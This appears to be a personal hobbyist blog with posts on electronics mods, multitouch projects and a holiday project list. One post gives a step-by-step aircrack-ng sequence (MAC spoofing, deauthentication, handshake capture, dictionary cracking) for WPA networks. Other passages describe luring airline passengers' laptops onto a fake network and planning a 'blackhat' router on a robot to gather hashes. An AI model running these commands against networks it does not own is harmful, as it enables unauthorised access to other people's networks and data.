WPA futality

I noticed my neighbors wifi was protected with WPA-TKIP. Your wifi might use WPA. If you protect it (you should to guard against man in the middle attacks), you should not use WEP, because that protocol is broken. It doesn't matter how long or complex your password is, people can still get in. WPA is better, but because it involves users picking a password, there is a risk. To make sure your WPA is secure, fire up Backtrack 3 and type exactly the following, and after each line hit enter. Do not type the lines that are in parentheses.

airmon-ng stop wlan0

ifconfig wlan0 down

macchanger --mac 00:11:22:33:44:55 wlan0

airmon-ng start wlan0

airodump-ng wlan0

airodump-ng -c (channel) -w wpa --bssid (bssid) wlan0

(new shell)

aireplay-ng -0 5 -a (bssid) wlan0

(wait for the handshake)

(test)

aircrack-ng wpa-01.cap

(test again)

aircrack-ng wpa-01.cap -w /pentest/wireless/aircrack-ng/test/password.lst


So what this does is take down your wireless card, change the MAC address, find the BSSID and channel of your network with WPA on it, then performs a deauth attack to force everyone off the network. When they reconnect, it listens for the handshake between the client and the AP. Once it has the hash, it uses a password list to brute force the hash and try to get the password. The bigger the password list, the higher chance you will get it.

The moral of the story is that if you want a secure network, chose a good password. Most people who will try to get at your network will use this attack method. If your password is not in the list, then they will never find it. There is a 28gig password list out there that contains every possible password for WPA (compressed its 70 megs). However, it is VERY doubtful that an attacker will use this because of the size and the amount of time it will take to try all of those. If for some reason you think a government is after your data, then they probably would use that list. In that case, use a VPN to connect to another network, and it doesn't matter if they see that traffic because it is all encrypted.

Music

I started a folder on my site that I will be posting music that I recorded. Its here. Be sure to read README.TXT

Past Projects

Go here to see pictures and video of some of my past projects. There are two sets of pictures. The ones with the robotic hand are from a mod I did recently. I found a toy online called Piano Hand, which was a clear robotic hand that played piano music and wiggled its fingers like it was playing. It was $20. As soon as I got one, I realized that it was not as articulate as I thought; it has one motor that when going forward cycles the four fingers as if it were drumming them. When it is in reverse, it switches gears and moves the thumb in and out. So it can only move the thumb OR the fingers, and not at the same time. But I still thought it was really cool, but needed some help. The piano sound it played was really annoying, so I took the speaker out and bypassed the controller board entirely. I then took apart a Vex servo and modified it to control the motor from the hand. Then I hooked it up the a Vex microcontroller and a transmitter and shoved it all in a tissue box (it was then end of the year and I did all of this at school since the teachers had given up doing anything, so all I had was a tissue box). It was then really easy to plant the box somewhere and start moving the fingers from a room or 2 away.

The other pictures and video in there are from a remake I did of a R/C Chef Boyardee can. They were all taken on my phone, so they are lower quality. Sorry. Anyway, several years ago there was a commercial that you can watch here. I saw this commercial and thought nothing of it until I saw a page on m5industries.com (Jamie Hyneman's (from mythbusters) special effects shop wesite). Unfortunatly, they took the page down, but they had pictures of the can without a label on and you could see the electronics. I have the pictures saved somewhere (archive.org didn't save them) and I will post them when I find them. So anyway, once I saw those pictures, I thought it would be cool to build one myself. So I did. My friend helped me out. The videos are of it rolling and the pictures are the exploded view. I used an R/C car circuit and had a friend machine a flywheel that steered it. The cool thing is that is does not drive on 2 wheels, the entire can rotates around the electronics in the inside. I still have the can in my room, but it needs some repair. It also needs a real control system, not an iffy R/C circuit from a junk toy car. But it works.

So thats 2 projects that I did that are kinda cool. I will post more pictures and videos of projects in that same site later, and probably organize it with folders to.

real quick

I am working on all my my projects, and several are coming along great. In the meantime, DON'T USE INTERNET EXPLORER. Microsoft failed, and there is a giant hole that is currently unpatched in internet explorer 7 that can be used to extract passwords and other interesting information. If you haven't switched to Firefox already, you are an idiot. So go download Firefox 3, because it's way more secure and better in every way. Anyway, here's a sneak peek of the progress of the projects: the owl and email notifier are almost done. I got a lot of help from the Hak5 Forums. I also talked to my friend Bandit5317 who has been working on an xbox 360 laptop. You can check out the thread here. Come back soon for updates on the projects.

Made it

Well, exams are over. which is a big relief. That also means that I will now be able to dedicate my time to the many projects I have planned. Kyle and I have created "The List". It is the list of projects that we will attempt over Christmas Break. So here is the version we have now, it will vary depend on cost and feasibility and time. If you find yourself continually asking 'Why?', it is probably because we can.

1. GBA within PSP within VirtualBox - We thought it would be funny to emulate a computer emulating a PSP emulating a Gameboy Advance.

2. Treehouse - There is a big oak tree in my backyard that my dad and brother and I build a small tree house in. It was fun, but has since become abandoned, so we will hopefully spend an afternoon working to add structures and platforms to it.

3. Mini Mammoth - I bought the materials to make a very tiny mammoth model. Here it is. We plan on assembling them with great frustration, and then encasing them in a cube of clear acrylic from my dad's office.

4. Aspire One - We are both getting an Acer Aspire One for Christmas and plan on doing various mods and hacks to it. Add more RAM, bigger battery, bluetooth, 32gig SD card, touchscreen, etc.

5. Various security experiments (hacks) - A tiny laptop means it is way easier to to security testing. I always like experimenting with hacking, so I will be practicing over the break. I think I will mess around with MiTM attacks and some USB SwitchBlade stuff. Also some session hijacking.

6. Styrofoam plate speaker - If you know how speakers work, then you will know that it is possible to make one using a styrofoam plate and an electromagnet. If you google it, you will find instructions.

7. Geocaching (finding and planting) - After I started Geocaching, I became addicted. So I got my friends involved. Kyle and Dylan and I will hopefully spend a day caching around. We also want to make one.

8. Laser at Dylans - Dylan and I started building a laser from instructions online. We bought the parts and spent a day working on it, but never got it working. The only thing we got was some sparking and buzzing. We are gonna finish it.

9. Cluster - My cluster has been sitting in my closet for this semester, doing nothing. I want to work on it more to allow me to remotely control it via VNC or SSH or something. I also want to get it working on the folding@home project. Also, I need a place for it to live. If you have an air conditioned room with free electricity and internet, please tell me.

10. Ammo box underwater camera housing - This is from KipKay. Basically cut a hole in a 50 caliber military ammo box, put in a plexiglass window, and stick in a camera. Ballast is dive weights and since the box is waterproof, just close the lid and you are good to go.

11. Homemade Stroboscope - This is just a strobe light with a custom circuit on it to change the flash frequency. If you dial it in, you can make things that are moving appear static. A good example is a fan. Wikipedia for more info.

12. Rockets - I love model rockets and strapping things to them. We definitely plan on launching various things into the air, maybe strap a camera to it or an accelerometer. I also want to rebuild my electronic launcher. Right now it is a light switch housed in a metal box. I can do better.

13. Stuff from here - I want to get into hardware hacking, so this page is great for starting out doing that. I really need to get my hands on an Arduino.

14. Palm Pilot Robot - Google it and you find a neat little project that basically drives some servos from a palm pilot. I have everything already except for the controller board. It is $60, and I'd really rather not spend that. However, I do have a Vex controller, so I am going to see if I can use that instead, although I don't think I will. The alternate will be an Arduino, but I still need to do research on it. Comment if you know if that will or won't work.

15. DIY projector - My LCD monitor broke. Sort of. The backlight fried. If I got to choose how it broke, I would choose that failure though because it is really easy to fix. I am working on installing LED backlights, but I realized that all a monitor is is a very thin LCD and backlights and stuff to evenly diffuse the light. So, if you get an overheard projector and slap the LCD on there, you get an instant projector. So I am going to try that.

16. flame thrower? - Yea, we found instructions to build a really scary flamethrower. I am still not sure if I should attempt this as I could, you know, die.

17. multitouch screen and AudioTouch - I am really interested in multitouch applications, so I want to build a multitouch interface with a webcam and glass pane (google it) and try to learn the language Processing, which just came out and is designed just for visualization for those kinds of things. AudioTouch is an open source project that I want to mess with.

18. USB owl notifier - I think I wrote about this. Heres the thread that I am discussing in to try to get this thing to work.

19. Ruben's tube - These things are just cool, so I want to try one at night.Maybe play with introducing different kinds of gasses to the propane mixture to change the color of the flames. You could get really complex and run some tubes along the outside of the main one and depending on the sound of the music, inject different gasses to change the color.


So thats the list.

Also, I am flying home tomorrow, so I want to see about wireless hacking on the plane. How you ask? Because, as we know, people are stupid. So they leave their wifi switch on, and they have it on autoconnect. This means that if I pretend to be a network, their laptop happily connects, and then I can tell it to do things. Prevention? Simply turn off your wifi when you are not using it. It saves battery, and is 100% more secure.

Thats all for now. Come back for updates on The List and completed projects.

sense of touch

I have been looking at multitouch applications for the last several months. The idea of interacting with computers and data via touch is much more intuitive than a mouse and is much cooler. Touchscreens have been around for a long time, but we are now on the verge of seeing screens and software that can take advantage of multiple inputs. The main problem that most people have with this new technology is that it is expensive, especially when it comes to multitouch. This is because you need hardware that can detect more than one finger and software that can decide what to do with that. Luckily, the awesome people in the hacking community have come up with a novel solution that is dirt cheap and still has the same effectivness. By using a webcam, a cardboard box, and a pane of glass, we can make a multitouch sensor. The webcam is filtered through a piece of paper, which is then picked up by a nice piece of code that does some color adjustment to the image to isolate the ends of the fingers. The software is all open source and free for Mac, Linux and Windows. They also put a bunch of demos in there for you to play with. Here is where to get it all. That is also the AudioTouch page. They have a cool video of the demo, but haven't released the code for it yet.

What makes all of this possible is some nifty coding. But last week a new programming language came out called Processing 1.0. It is still in beta, but it allows for rapid coding of visualization demos for all sorts of applications. Many multitouch demos are coded at least in part with Processing. You can google 'Processing 1.o" and download the compiler. It was written in Java, so it is similar to that. The site has a good collections of man pages and resources for learning the lanugage. The compiler also comes with a bunch of really cool examples. I like the ones that involve capturing live video and messing with it. For those examples to work, you have to download QuickTime 7 and a program called WinVDIG, version 1.01 (NOT the lastest version). If you can't find a copy of WinVDIG, email me and I will send you the setup.

So Microsoft released a video of some multitouch research they were doing that does not require a physical screen or touchpad. It uses only the webcam input detects and tracks certain points. After seeing this demo, guru remade a version of the demo in Processing (in only 20 minutes, a tribute to the power of Processing). Here is the post. I ran it myself and got it to work with 2 post it notes like he did and also got it to work by coloring the tips of my fingers with purple and red sharpie. Note that for it to work, you have to copy and paste it in, then save it, and put an image called 'mangoofdeath.jpg' in the same directory. Or you can change the name in the script to whatever the image is called. Anyway, it is a really neat demo. Over Christmas break, my friend and I plan to whip up a couple demos and play around with more multitouch applications. It would be really cool to make a bootable Linux Live CD that had all of the libraries preconfigured and the USB drivers for a bunch of webcams and a bunch of demos for multitouch. It could also have Processing installed on it. Hmm. I have never made a Linux Live CD before, but I have a post somewhere in my 1700 bookmarks that details how to do it. I think that will be another project to look into over break.

But this week is dead week at Tech, and next week is finals, so I will most likely not be posting anything for the next 2 weeks. Like anyone reads this anyway! But to the one person who subscribes to my RSS feed, go take something apart.

Hack it Up

So today on TV I saw a commercial for the Wowee Spy-Kee robot. I had heard of it before, and it is finally out. Basically it is a treaded robot in tank mode that can be controlled over the internet and also has built in camera and speaker that can be accessed from over the internet. This is awesome. Wowee makes all kinds of awesome stuff to hack, from the Alive Chimp (basically a fully articulate animatronic humanoid head) to this. In fact, evosapien.org is a site entirely devoted to hacking all things Wowee. As soon as I heard about it, I had ideas of things to modify it with. When you take it out of the box, it is already awesome. The only thing that it is missing is a screen so the people looking at the robot can see who is controlling it. It could also be used to display stats or a prerecorded message or something. So I imagined sticking a Pico ITX on there. The power supply would be run off of a couple lithium batteries from camcorders and then would go through the tiny power supply they make into the Pico ITX motherboard. From there, I would stick an acessories board with the outputs for 7.1 audio, usb, mic, etc. With a gig of ram and a 32 gig SD card for the hard drive. You could put either linux or maybe a stripped down version of XP. Now, I haven't seen the board for the Spykee, but I am hoping that they were nice enough to label it and that there will be a set of pins that is directly coming from the wireless module. From there, I could piggyback the connection and give my ITX internet. A remote connection to it would let me play sound form added speakers (or I could splice them in to the existing speakers) or whatever. Now the whole reason I would put the ITX in there would be so that I could put like a 5in TFT screen on the front of the bot. I would power that from a battery pack also (just put them on the back of the screen). Then Skype on the ITX would let me show my face on the front, or I could put other stuff on there. But what if there is no wireless network or if they are all encrypted? In that case, a phone with an unlimited data plan hooked into the ITX would create a permenant network bubble around the bot. I would reverse the network port on the ITX and stick in a Fon router. It is called the Spykee robot, so I could also use the Fon router for blackhat purposes and make it live up to its name (and then access hashes or other encryption problems from afar and send it to the cluster for cracking).

The basis of the robot is basically a bunch of really cool electronics that would normally be expensive and several motors and a camera and speakers. That means that the shell that the bot comes with (which is cool) could be replaced with anything (vex anyone?). So for $250, thats pretty awesome. However, I think I will wait for it to come down in price or see if I can get one on the cheap from ebay or amazon or something. Instead, this Christmas I will be setting my sights on an Asus Aspire One. Tiny laptops are tasty (and good for testing...stuff...).

I just realized that I made a mistake. Wowee doesn't make the Spykee, Erector does. But I'm not going back to change all that. But Wowee deginatly make some awesome stuff for hacking. If you know me and want to some over to hack some stuff, shoot me an email and we will make it happen.

More on the Asus Aspire One later.